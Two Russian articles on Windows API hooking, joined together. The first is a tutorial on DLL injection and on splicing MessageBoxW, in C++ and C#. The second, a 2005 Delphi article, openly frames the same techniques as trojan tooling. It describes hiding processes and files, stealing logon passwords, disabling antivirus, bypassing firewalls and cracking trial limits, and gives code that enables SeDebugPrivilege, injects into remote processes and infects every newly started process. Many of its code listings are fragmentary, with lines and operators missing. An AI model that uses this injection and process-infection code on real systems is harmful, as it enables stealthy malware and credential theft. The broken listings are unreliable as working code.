Перехват системных вызовов windows

Время на прочтение8 мин

Количество просмотров52K

Что такое хук?
Что такое хук функций и для чего он нужен? В переводе с английского «hook» — ловушка. Поэтому о назначении хуков функции в Windows можно догадаться — это ловушка для функции. Иными словами, мы ловим функцию и берем управление на себя. После этого определения нам открываются заманчивые перспективы: мы можем перехватить вызов любой функции, подменить код на свой, тем самым изменив поведение любой программы на то, которое нам нужно (конечно, в рамках определенных ограничений).

Целью данной статьи является демонстрация установки хука и его непосредственная реализация.

— Нельзя поверить в невозможное!
— Просто у тебя мало опыта, – заметила Королева. – В твоем возрасте я уделяла этому полчаса каждый день! В иные дни я успевала поверить в десяток невозможностей до завтрака!

Где мне реально пригодились эти знания

Эти знания являются очень узкоспециализированными, и в повседневной практике разработки маловероятно, что они пригодятся, но знать о них, на мой взгляд, крайне желательно, даже если эти знания чисто теоретические. На моей практики же мне пригодились эти знания для решения следующих задач:

• Контроль входящего http-траффика и подмена «взрослого» контента на более безобидный.
• Логирование информации в случае копирования каких-либо файлов с подконтрольной сетевой папки.
• Незначительная модификация кода в проекте, от которого были утеряны исходники (да, и такое тоже случается)

Методы установки хуков

Давайте перейдем от общих фраз к более детальному рассмотрению хуков. Мне известно несколько разновидностей реализации хука:

● Использование функции SetWindowsHookEx. Это весьма простой, оттого и ограниченный, метод. Он позволяет перехватывать только определенные функции, в основном связанные с окном (например, перехват событий, которые получает окно, щелчков мышкой, клавиатурного ввода). Достоинством этого метода является возможность установки глобальных хуков (например, сразу на все приложениях перехватывать клавиатурный ввод).
● Использование подмены адресов в разделе импорта DLL. Суть метода заключается в том, что любой модуль имеет раздел импорта, в котором перечислены все используемые в нем другие модули, а также адреса в памяти для экспортируемых этим модулем функций. Нужно подменить адрес в этом модуле на свой и управление будет передано по указанному адресу.
● Использование ключа реестра HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_Dlls. В нем необходимо прописать путь к DLL, но сделать это могут только пользователи с правами администратора. Этот метод хорош, если приложение не использует kernel32.dll (нельзя вызвать функцию LoadLibrary).
● Использование инъектирования DLL в процесс. На мой взгляд, это самый гибкий и самый показательный способ. Его-то мы и рассмотрим более подробно.

Метод инъектирования

Инъектирование возможно, потому что функция ThreadStart, которая передается функции CreateThread, имеет схожую сигнатуру с функцией LoadLibrary (да и вообще структура dll и исполняемого файла очень схожи). Это позволяет указать метод LoadLibrary в качестве аргумента при создании потока.

Алгоритм инъектирования DLL выглядит так:

1. Находим адрес функции LoadLibrary из Kernel32.dll для потока, куда мы хотим инжектировать DLL.
2. Выделяем память для записи аргументов этой функции.
3. Создаем поток и в качестве ThreadStart функции указываем LoadLibrary и ее аргумент.
4. Поток идет на исполнение, загружает библиотеку и завершается.
5. Наша библиотека инъектирована в адресное пространство постороннего потока. При этом при загрузке DLL будет вызван метод DllMain с флагом PROCESS_ATTACH. Это как раз то место, где можно установить хуки на нужные функции. Далее рассмотрим саму установку хука.

Установка хука

Подход, используемый при установке хука, можно разбить на следующие составные части:

1. Находим адрес функции, вызов которой мы хотим перехватывать (например, MessageBox в user32.dll).
2. Сохраняем несколько первых байтов этой функции в другом участке памяти.
3. На их место вставим машинную команду JUMP для перехода по адресу подставной функции. Естественно, сигнатура функции должна быть такой же, как и исходной, т. е. все параметры, возвращаемое значение и правила вызова должны совпадать.
4. Теперь, когда поток вызовет перехватываемую функцию, команда JUMP перенаправит его к нашей функции. На этом этапе мы можем выполнить любой нужный код.

Далее можно снять ловушку, вернув первые байты из п.2 на место.

Итак, теперь нам понятно, как внедрить нужную нам DLL в адресное пространство потока и каким образом установить хук на функцию. Теперь попробуем совместить эти подходы на практике.

Тестовое приложение

Наше тестовое приложение будет довольно простым и написано на С#. Оно будет содержать в себе кнопку для показа MessageBox. Для примера, установим хук именно на эту функцию. Код тестового приложения:

public partial class MainForm : Form
{
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);
 
public MainForm()
{
InitializeComponent();
 this.Text = "ProcessID: " + Process.GetCurrentProcess().Id;
}
 private void btnShowMessage_Click(Object sender, EventArgs e)
{
MessageBox(new IntPtr(0), "Hello World!", "Hello Dialog", 0);
}
}

Инъектор

В качестве инъектора рассмотрим два варианта. Инъекторы, написанные на С++ и С#. Почему на двух языках? Дело в том, что многие считают, что С# — это язык, в котором нельзя использовать системные вещи, — это миф, можно :). Итак, код инъектора на С++:

#include "stdafx.h"
#include <iostream>
#include <Windows.h>
#include <cstdio>
 
int Wait();
 
int main()
{
                // Пусть до библиотеки, которую хотим инъектировать.
                DWORD processId = 55;
                char* dllName = "C:\\_projects\\CustomHook\\Hooking\\Debug\\HookDll.dll";
 
                // Запрашиваем PID процесса куда хотим инъектировать.
                printf("Enter PID to inject dll: ");
                std::cin >> processId;
 
                // Получаем доступ к процессу.
                HANDLE openedProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
                if (openedProcess == NULL)
                {
                                printf("OpenProcess error code: %d\r\n", GetLastError());
                                return Wait();
                }
 
                // Ищем kernel32.dll
                HMODULE kernelModule = GetModuleHandleW(L"kernel32.dll");
                if (kernelModule == NULL)
                {
                                printf("GetModuleHandleW error code: %d\r\n", GetLastError());
                                return Wait();
                }
 
                // Ищем LoadLibrary (Суффикс A означает что работаем в ANSI, один байт на символ)
                LPVOID loadLibraryAddr = GetProcAddress(kernelModule, "LoadLibraryA");
                if (loadLibraryAddr == NULL)
                {
                                printf("GetProcAddress error code: %d\r\n", GetLastError());
                                return Wait();
                }
 
                // Выделяем память под аргумент LoadLibrary, а именно - строку с адресом инъектируемой DLL
                LPVOID argLoadLibrary = (LPVOID)VirtualAllocEx(openedProcess, NULL, strlen(dllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
                if (argLoadLibrary == NULL)
                {
                                printf("VirtualAllocEx error code: %d\r\n", GetLastError());
                                return Wait();
                }
 
                // Пишем байты по указанному адресу.
                int countWrited = WriteProcessMemory(openedProcess, argLoadLibrary, dllName, strlen(dllName), NULL);
                if (countWrited == NULL)
                {
                                printf("WriteProcessMemory error code: %d\r\n", GetLastError());
                                return Wait();
                }
 
                // Создаем поток, передаем адрес LoadLibrary и адрес ее аргумента
                HANDLE threadID = CreateRemoteThread(openedProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddr, argLoadLibrary, NULL, NULL);
 
                if (threadID == NULL)
                {
                                printf("CreateRemoteThread error code: %d\r\n", GetLastError());
                                return Wait();
                }
                else
                {
                                printf("Dll injected!");
                }
 
                // Закрываем поток.
                CloseHandle(openedProcess);
 
                return 0;
}
 
int Wait()
{
                char a;
                printf("Press any key to exit");
                std::cin >> a;
                return 0;
}

Теперь тоже самое, но только на С#. Оцените, насколько код более компактен, нет буйства типов (HANDLE, LPVOID, HMODULE, DWORD, которые, по сути, означают одно и тоже).

public class Exporter
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
 
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
 
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
 
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
 
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out IntPtr lpNumberOfBytesWritten);
 
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
 
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 CloseHandle(IntPtr hObject);
}
 public class Injector
{
public static void Inject(Int32 pid, String dllPath)
{
IntPtr openedProcess = Exporter.OpenProcess(ProcessAccessFlags.All, false, pid);
IntPtr kernelModule = Exporter.GetModuleHandle("kernel32.dll");
IntPtr loadLibratyAddr = Exporter.GetProcAddress(kernelModule, "LoadLibraryA");
 
Int32 len = dllPath.Length;
IntPtr lenPtr = new IntPtr(len);
UIntPtr uLenPtr = new UIntPtr((uint)len);
 
IntPtr argLoadLibrary = Exporter.VirtualAllocEx(openedProcess, IntPtr.Zero, lenPtr, AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ReadWrite);
 
IntPtr writedBytesCount;
 
Boolean writed = Exporter.WriteProcessMemory(openedProcess, argLoadLibrary, System.Text.Encoding.ASCII.GetBytes(dllPath), uLenPtr, out writedBytesCount);
 
IntPtr threadIdOut;
IntPtr threadId = Exporter.CreateRemoteThread(openedProcess, IntPtr.Zero, 0, loadLibratyAddr, argLoadLibrary, 0, out threadIdOut);
 
Exporter.CloseHandle(threadId);
}
}

Инъектируемая библиотека

Теперь самое интересное — код библиотеки, которая устанавливает хуки. Эта библиотека написана на С++, пока без аналога на C#.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <Windows.h>
 #define SIZE 6
 // Объявления функций и кастомных типов
typedef int (WINAPI *pMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);
int WINAPI MyMessageBoxW(HWND, LPCWSTR, LPCWSTR, UINT);
 void BeginRedirect(LPVOID);
 pMessageBoxW pOrigMBAddress = NULL;
BYTE oldBytes[SIZE] = { 0 };
BYTE JMP[SIZE] = { 0 };
DWORD oldProtect, myProtect = PAGE_EXECUTE_READWRITE;
 BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
                                                                                )
{
                switch (ul_reason_for_call)
                {
                                case DLL_PROCESS_ATTACH:
                                                // Уведомим пользователя что мы подключились к процессу.
                                                MessageBoxW(NULL, L"I hook MessageBox!", L"Hello", MB_OK);
 
                                                // Идем адрес MessageBox
                                                pOrigMBAddress = (pMessageBoxW)GetProcAddress(GetModuleHandleW(L"user32.dll"), "MessageBoxW");
                                                if (pOrigMBAddress != NULL)
                                                {
                                                                BeginRedirect(MyMessageBoxW);
                                                }
 
                                                break;
                                case DLL_THREAD_ATTACH:
                                                break;
                                case DLL_THREAD_DETACH:
                                                break;
                                case DLL_PROCESS_DETACH:
                                                break;
                }
                return TRUE;
}
 
void BeginRedirect(LPVOID newFunction)
{
                // Массив-маска для записи команды перехода
                BYTE tempJMP[SIZE] = { 0xE9, 0x90, 0x90, 0x90, 0x90, 0xC3 };
                memcpy(JMP, tempJMP, SIZE);
                // Вычисляем смещение относительно оригинальной функции
                DWORD JMPSize = ((DWORD)newFunction - (DWORD)pOrigMBAddress - 5);
                // Получаем доступ к памяти
                VirtualProtect((LPVOID)pOrigMBAddress, SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);
                // Запоминаем старые байты
                memcpy(oldBytes, pOrigMBAddress, SIZE);
                // Пишем 4байта смещения. Да, код рассчитан только на x86
                memcpy(&JMP[1], &JMPSize, 4);
                // Записываем вместо оригинальных
                memcpy(pOrigMBAddress, JMP, SIZE);
                // Восстанавливаем старые права доступа
                VirtualProtect((LPVOID)pOrigMBAddress, SIZE, oldProtect, NULL);
}
 
int WINAPI MyMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uiType)
{
                // Получаем доступ к памяти
                VirtualProtect((LPVOID)pOrigMBAddress, SIZE, myProtect, NULL);
                // Возвращаем старые байты (иначе будет переполнение стека)
                memcpy(pOrigMBAddress, oldBytes, SIZE);
                // Зовем оригинальную функцию, но подменяем заголовок
                int retValue = MessageBoxW(hWnd, lpText, L"Hooked", uiType);
                // Снова ставим хук
                memcpy(pOrigMBAddress, JMP, SIZE);
                // Восстанавливаем старые права доступа
                VirtualProtect((LPVOID)pOrigMBAddress, SIZE, oldProtect, NULL);
                return retValue;
}

Ну и несколько картинок напоследок. До установки хука:

image

И после установки:

image

В следующем нашей материале мы постараемся написать код библиотеки, которая устанавливает хуки на C#, т. к. механизм инъектирования управляемого кода заслуживает отдельной статьи.

Авторы статьи: nikitam, ThoughtsAboutProgramming

Перехват API функций в Windows NT (часть 1). Основы перехвата.

Дата публикации 16 май 2005

Перехват API функций в Windows NT (часть 1). Основы перехвата. — Архив WASM.RU

Предисловие редакции WASM.RU:

В данном цикле статей используется язык Дельфи (ахтунг!, детям и слабонервным
просьба соблюдать необходимые меры предосторожности ^_^), поэтому мы долго колебались относительно того, стоит
ли размещать его на сайте, однако учитывая, что материал может представлять интерес для многих посетителей,
мы всё же пошли на это. Тем не менее просьба потенциальным авторам избегать проявлений паскальности в своих
будущих статьях ^_^.

Предисловие:

В настоящее время широчайшую распостраненность поличили операционные системы семейства Windows NT/20000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а так-же для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Установив антивирус и фаерволл многие пользователи думают, что они стопроцентно защищены, и даже большинство программистов считают, что достаточно почаще проверять свой компьютер на подозрительные вещи (автозагрузка, процессы и.т.д.) и никокая вредоносная программа к ним не сможет проникнуть. В большинстве случаев это действительно так, 99% троянов до сих пор загружаются через HKLM/Run, и для скрытности имеют названия вроде WinLoader32.exe. Глядя на это мне просто смешно становиться. Это дело нужно срочно исправлять, поэтому я написал этот цикл из трех статей, в которых описываются методы перехвата API функций в системах линейки Windows NT на всех возможных уровнях.

Эта технология дает нам огромные возможности. Можно например легко скрыть присутствие трояна в системе так, что даже тшательная проверка компьютера не даст ничего. Можно легко получить пароли на вход в систему. Можно уничтожить антивирусы и обойти фаерволлы. Все это конкретные применения этой технологии (они подробно описаны в статьях), но этому легко придумать и множество других применений (создание систем безопасности, различные эмуляторы). Можно на этой основе снимать триальные ограничения серийно, с многих программ использующих стандартные способы защиты (таких 99%). И при всех этих возможностях сам метод очень прост. Для того, чтобы его понять нужна всего-лишь капля мозгов (не больше).

Основной язык для приводимых фрагментов кода — Delphi, но материал актуален и для любого другого языка (С, С++, Ассемблер и.т.д.). Единственное условие — язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статей нужно таже хотя-бы немножко знать ассемблер и С++.

Теория:

Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Перехват API функций позволяет обойти многие ограничения системы и делать с ней практически что угодно.
В этой статье я приведу некоторые методы программирования перехвата API, а также примеры его практического применения. Предполагается, что читатель знаком с программированием в Delphi, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

API функции представляют и себя ничто иное, как функции в системных DLL. Любой процесс в системе обязательно имеет в своем адресном пространстве Ntdll.dll, где располагаются функции Native API — базовые функции низкоуровневой работы с системой, функции Kernel32.dll являются переходниками к более мощным функциям Ntdll, следовательно целесообразно будет перехватывать именно функции Native API.
Проблема в том, что Native API функции не документированы в SDK, но узнать модель их вызова можно дизассемблируя Kernel32.dll. Нельзя утверждать, что адреса функций в системных библиотеках не изменяются в зависимости от версии ОС, ее сборки либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая база образа библиотеки (dll preferred imagebase) является константой, которую можно изменять при компиляции. Более того, совсем не обязательно, что dll будет загружена именно по предпочитаемому адресу, — этого может не произойти в результате коллизии с другими модулями, динамически выделенной памятью и т.п. Поэтому статический импорт функций происходит по имени модуля и имени функции (либо ее номера — ординала), предоставляемой этим модулем. Загрузчик PE файла анализирует его таблицу импорта и определяет адреса функций, им импортируемых. В случае, если в таблице импорта указана библиотека, не присутствующая в контексте загружаемой программы, происходит ее отображение в требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В результате в требуемом месте определенной секции PE файла (имеющей, как минимум, атрибуты «readable» и «initialized data») заполняется массив адресов импортируемых функций. В процессе работы каждый модуль обращается к своему массиву для определения точки входа в какую-либо функцию.
Следовательно существуют два основных метода перехвата API вызовов: изменение точки входа в таблице импорта и изменение начальных байт самой функции (сплайсинг функции).

Изменение таблиц импорта:

Этот метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика.

К достоинствам данного метода можно отнести то, что код перехватываемой функции не изменяется, что обеспечивает корректную работу в многопоточном приложении. Недостаток этого метода в том, что приложения могут сохранить адрес функции до перехвата, и затем вызывать её минуя обработчик. Также можно получить адрес функции используя GetProcAddress из Kernel32.dll. Из — за этого недостатка я считаю этот метод бесперспективным в применении и подробно рассматривать его не буду.

Сплайсинг функции:

Этот метод состоит в следующем: определяется адрес перехватываемой функции, и первые 5 байт её начала заменяются на длинный jmp переход по адресу обработчика перехвата.
Если необходимо вызывать перехватываемую функцию, то перед заменой необходимо сохранить её начальные байты и перед вызовом восстанавливать их.
Недостаток данного метода состоит в том, что если после восстановления начала функции произошло переключение контекста на другой поток приложения, то он сможет вызвать функцию минуя перехватчик. Этот недостаток можно устранить останавливая все побочные потоки приложения перед вызовом и запуская после вызова.

Внедрение кода и создание удаленных потоков:

Перехватывать API находящиеся в чужом процессе весьма неудобно, наиболее удобным способом будет внедрение кода перехватчика в процесс и запуск его на исполнение.
Для реализации этого необходимо открыть процесс с флагами PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION. Для получения доступа к системным процессам нам понадобиться привилегия SeDebugPrivilege, поэтому перед установкой перехвата желательно активировать эту привилегию.

Процедура активации SeDebugPrivilege:

  1. function EnableDebugPrivilege():Boolean;
  2.  //Добавляем привилегию SeDebugPrivilege
  3.  //Получаем токен нашего процесса
  4.  OpenProcessToken(INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES
  5.  //Получаем LUID привилегии
  6.  if not LookupPrivilegeValue(nil, ‘SeDebugPrivilege’, SeDebugNameValue) then
  7.  tkp.Privileges[0].Luid := SeDebugNameValue;
  8.  tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  9.  //Добавляем привилегию к процессу
  10.  AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES),
  11.  if GetLastError()  ERROR_SUCCESS then exit;

Следуюший код осуществляет загрузку в заданый процесс динамической библиотеки. Испольуется метод внедрения кода и создания удаленных потоков.

  1. { Внедрение Dll в процесс }
  2. Function InjectDll(Process: dword; ModulePath: PChar): boolean;
  3.            CallExitThreadAddr:DWord;
  4.            LibraryName:array[0..MAX_PATH] of char;
  5.   Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
  6.                            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  7.   if Memory = nil then Exit;
  8.   //инициализация внедряемого кода:
  9.   Inject.PushCommand    := $68;
  10.   inject.PushArgument   := code + $1E;
  11.   inject.CallCommand    := $15FF;
  12.   inject.CallAddr       := code + $16;
  13.   inject.PushExitThread := $68;
  14.   inject.ExitThreadArg  := 0;
  15.   inject.CallExitThread := $15FF;
  16.   inject.CallExitThreadAddr := code + $1A;
  17.   hKernel32 := GetModuleHandle(‘kernel32.dll’);
  18.   inject.AddrLoadLibrary := GetProcAddress(hKernel32, ‘LoadLibraryA’);
  19.   inject.AddrExitThread  := GetProcAddress(hKernel32, ‘ExitThread’);
  20.   lstrcpy(@inject.LibraryName, ModulePath);
  21.   //записать машинный код по зарезервированному адресу
  22.   WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
  23.   hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
  24.   if hThread = 0 then Exit;

Обратим внимание на следующую особенность: системные библиотеки Kernel32.dll и Ntdll.dll загружаются во всех процессах по одинаковому адресу, что использовано для инициализации внедряемого кода.

После загрузки DLL в память процесса, будет выполнена её точка входа с аргументом DLL_PROCESS_ATTACH. Загруженная библиотека может после этого установить перехват API функций методом сплайсинга.

Рассмотрим пример библиотеки осуществляющей перехват CreateProcessA:

  1.  AdrCreateProcessA: pointer;
  2. Function OpenThread(dwDesiredAccess: dword; bInheritHandle: bool; dwThreadId: dword):dword;
  3.                     stdcall; external ‘kernel32.dll’;
  4.  h, CurrTh, ThrHandle, CurrPr: dword;
  5.  CurrTh := GetCurrentThreadId;
  6.  CurrPr := GetCurrentProcessId;
  7.  h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  8.  if h  INVALID_HANDLE_VALUE then
  9.     Thread.dwSize := SizeOf(TThreadEntry32);
  10.     if Thread32First(h, Thread) then
  11.      if (Thread.th32ThreadID  CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
  12.        ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
  13.           SuspendThread(ThrHandle);
  14.     until not Thread32Next(h, Thread);
  15.  h, CurrTh, ThrHandle, CurrPr: dword;
  16.  CurrTh := GetCurrentThreadId;
  17.  CurrPr := GetCurrentProcessId;
  18.  h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  19.  if h  INVALID_HANDLE_VALUE then
  20.     Thread.dwSize := SizeOf(TThreadEntry32);
  21.     if Thread32First(h, Thread) then
  22.      if (Thread.th32ThreadID  CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
  23.        ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
  24.     until not Thread32Next(h, Thread);
  25. function TrueCreateProcessA(lpApplicationName: PChar;
  26.                         lpThreadAttributes: PSecurityAttributes;
  27.                             lpCurrentDirectory: PChar;
  28.                 const lpStartupInfo: TStartupInfo;
  29.                             var lpProcessInformation: TProcessInformation): BOOL;
  30.  WriteProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), Writen);
  31.  result := CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes,
  32.                          lpThreadAttributes, bInheritHandles, dwCreationFlags or
  33.                  CREATE_SUSPENDED, lpEnvironment, nil, lpStartupInfo,
  34.  WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
  35. function NewCreateProcessA(lpApplicationName: PChar;
  36.                   lpThreadAttributes: PSecurityAttributes;
  37.                           lpCurrentDirectory: PChar;
  38.                       const lpStartupInfo: TStartupInfo;
  39.                           var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  40.  //наш обработчик CreateProcessA
  41.  HKernel32, HUser32: dword;
  42.  CurrProc := GetCurrentProcess;
  43.  //получение адреса CreateProcessA
  44.  AdrCreateProcessA := GetProcAddress(GetModuleHandle(‘kernel32.dll’), ‘CreateProcessA’);
  45.  //инициализация структуры перехвата CreateProcessA
  46.  JmpCrProcA.PuhsOp  := $68;
  47.  JmpCrProcA.PushArg := @NewCreateProcessA;
  48.  //сохраняем старое начало функции
  49.  ReadProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), bw);
  50.  //записываем новое начало CreateProcessA
  51.  WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
  52.  //останавливаем побочные нити

Следует обратить внимание на процедуры StopThreads и RunThreads, они соответственно останавливают и запускают все потоки кроме того, который их вызывает.
Перед установкой API перехвата необходимо останавливать все побочные потоки, иначе процесс записи может быть прерван, и функция вызвана другим потоком, что приведет к ошибке доступа к памяти и аварийному завершению приложения. Этот эффект проявляется не всегда, но может стать причиной нестабильной работы системы, поэтому не следует пренебрегать этим моментом.
Еще один важный момент: при получении адресов перехватываемых функций следует использовать GetModuleHandleA в том случае, если точно известно, что модуль загружен в адресное пространство текущего процесса, иначе следует испольовать LoadLibrary. Гарантировано будут загружены модули Ntdll.dll и те, которые статически импортируются вашей DLL.
Не следует лишний раз использовать LoadLibrary, поскольку это изменяет счетчик загрузок библиотеки, и мешает её корректной выгрузке, когда она не нужна. В крайнем случае можно использовать следующий код:

  1. Handle := GetModuleHandleA(‘Library.dll’);
  2. IF Handle = 0 then Handle := LoadLibrary(‘Library.dll’);

В вышеприведенном примере присутствует функция TrueCreateProcessA, её следует вызывать, если необходимо выполнить настоящий вызов CreateProcessA. Также следует обратить внимание на один важный момент: при написании функции заменяющей перехватываемую следует установить модель вызова аналогичную модели вызова перехватываемой функции, для WinAPI это будет stdcall.

Глобализация:

Допустим необходимо выполнить перехват API не только в текущем процессе, но и в всех последующих запущенных процессах.
Это можно сделать с помощью получения списка процессов и заражения новых процессов, но этот метод далеко не идеален, так как процесс до заражения сможет обращаться к оригинальной функции, также такой поиск приводит к лишнему расходованию системных ресурсов.
Из других недостатков данного метода можно отметить то, что глобализатор будет привязан к одному конкретному процессу, а значит, при его завершении весь перехват накроется.
Другой метод состоит в том, чтобы перехватывать функции создания процессов и внедрять обработчик в созданный процесс еще до выполнения его кода.
Процесс может быть создан множеством функций: CreateProcessA, CreateProcessW, WinExec, ShellExecute, NtCreateProcess. При создании нового процесса обязательно происходит вызов функции ZwCreateThread.
  1. Function ZwCreateThread(ThreadHandle: pdword;
  2.                         DesiredAccess: ACCESS_MASK;
  3.                         ObjectAttributes: pointer;
  4.                         CreateSuspended: boolean):NTStatus;
  5.                         stdcall;external ‘ntdll.dll’;

Нас интересует структура ClientId:

  1. TClientID = packed record

Поле UniqueProcess содержит id процесса, которому принадлежит создаваемая нить.

Наиболее очевидным будет следующий метод:

Перехватываем ZwCreateThread, cверяем UniqueProcess с id текущего процесса, и если они различаются, то внедряем перехватчик в новый процесс. Но этот метод работать не будет, так как в момент создания основной нити процесс еще не проинициализирован и CreateRemoteThread возвращает ошибку.

Поэтому при обнаружении создания нити в новом процессе мы просто установим флаг NewProcess который будем использовать далее.

Обработчик ZwCreateThread будет выглядеть так:

  1. Function NewZwCreateThread(ThreadHandle: PHANDLE;
  2.                            DesiredAccess: ACCESS_MASK;
  3.                            ObjectAttributes: pointer;
  4.                            CreateSuspended: boolean); stdcall;
  5.  WriteProcessMemory(CurrProc, AdrZwCreateThread, @OldZwCreateThread, SizeOf(OldCode), Writen);
  6.  //вызываем функцию с флагом CREATE_SUSPENDED, чтобы нить не запустилась до установки перехвата
  7.  Result := ZwCreateThread(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle,
  8.                           ClientId, ThreadContext, UserStack, true);
  9.  //проверяем, принадлежит ли нить к текущему процессу
  10.  if CurrProcId  ClientId.UniqueProcess then
  11.  //устанавливаем флаг создания нового процесса
  12.  //если надо, то запускаем нить
  13.  if not CreateSuspended then ResumeThread(ThreadHandle^);
  14.  WriteProcessMemory(CurrProc, AdrZwCreateThread, @JmpZwCreateThread, SizeOf(far_jmp), Writen);

После инициализации созданного процесса происходит запуск его основной нити с помощью ZwResumeThread.

  1. Function ZwResumeThread(ThreadHandle: dword;
  2.                         PreviousSuspendCount: pdword): NTStatus;
  3.                         stdcall; external ‘ntdll.dll’;

Перехватив эту функцию мы будем получать хэндлы всех запускаемых нитей.
Нам необходимо по хэндлу нити получить id процесса владеющего этой нитью. Это делает функция ZwQueryInformationThread.

  1. Function ZwQueryInformationThread(ThreadHandle: dword;
  2.                                   ThreadInformationClass: dword;
  3.                                   ThreadInformation: pointer;
  4.                                   ThreadInformationLength: dword;
  5.                                   ReturnLength: pdword):NTStatus;
  6.                                   stdcall;external ‘ntdll.dll’;

ThreadInformationClass — тип получаемой информации.
В нашем случае = THREAD_BASIC_INFO = 0;

ThreadInformation — указатель на структуру, куда будет записана информация о нити.
В нашем случае это будет структура THREAD_BASIC_INFORMATION:

  1. PTHREAD_BASIC_INFORMATION = ^THREAD_BASIC_INFORMATION;
  2.   THREAD_BASIC_INFORMATION = packed record

ClientId.UniqueProcess будет содержать id процесса владеющего нитью.

Если этот процесс отличается от текущего и установлен флаг NewProcess, то мы должны внедрить перехватчик в созданный процесс и сбросить флаг NewProcess.

Обработчик функции ZwResumeThread будет выглядеть примерно так:

  1. function NewZwResumeThread(ThreadHandle: THandle;
  2.                            PreviousSuspendCount: pdword); stdcall;
  3. ThreadInfo: THREAD_BASIC_INFORMATION;
  4.  WriteProcessMemory(CurrProc, AdrZwResumeThread, @OldZwResumeThread, SizeOf(OldCode), Writen);
  5.  //получаю информацию о процессе владеющем этой нитью
  6.  ZwQueryInformationThread(ThreadHandle, THREAD_BASIC_INFO, @ThreadInfo, SizeOf(THREAD_BASIC_INFORMATION), nil);
  7.  if (ThreadInfo.ClientId.UniqueProcess  CurrProcId) and NewProcess then
  8.     begin //заражаем новый процесс<BR>
  9.      Handle := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,
  10.                            FALSE, ThreadInfo.ClientId.UniqueProcess);
  11.  //вызываем оригинальную функцию
  12.  Result := ZwResumeThread(ThreadHandle, PreviousSuspendCount);
  13.  WriteProcessMemory(CurrProc, AdrZwResumeThread, @JmpZwResumeThread, SizeOf(far_jmp), Writen);

Таким образом решается проблема глобализации обработчика.

Практическое применение:

Теперь кратко поговорим о возможных применениях перехвата API:
Широчайшее применение подобная технология может найти в троянских программах.
Например можно создать невидимый процесс, скрыть какие-либо файлы на диске, скрыть записи в реестре и скрыть сетевые соединения.
Можно легко обойти персональные фаерволлы. Можно делать с системой все, что угодно.
К примеру, для скрытия файлов на диске нам нужно перехватить функцию ZwQueryDirectoryFile из ntdll.dll. Она является базовой для всех API перечисления файлов.

Рассмотрим прототип этой функции:

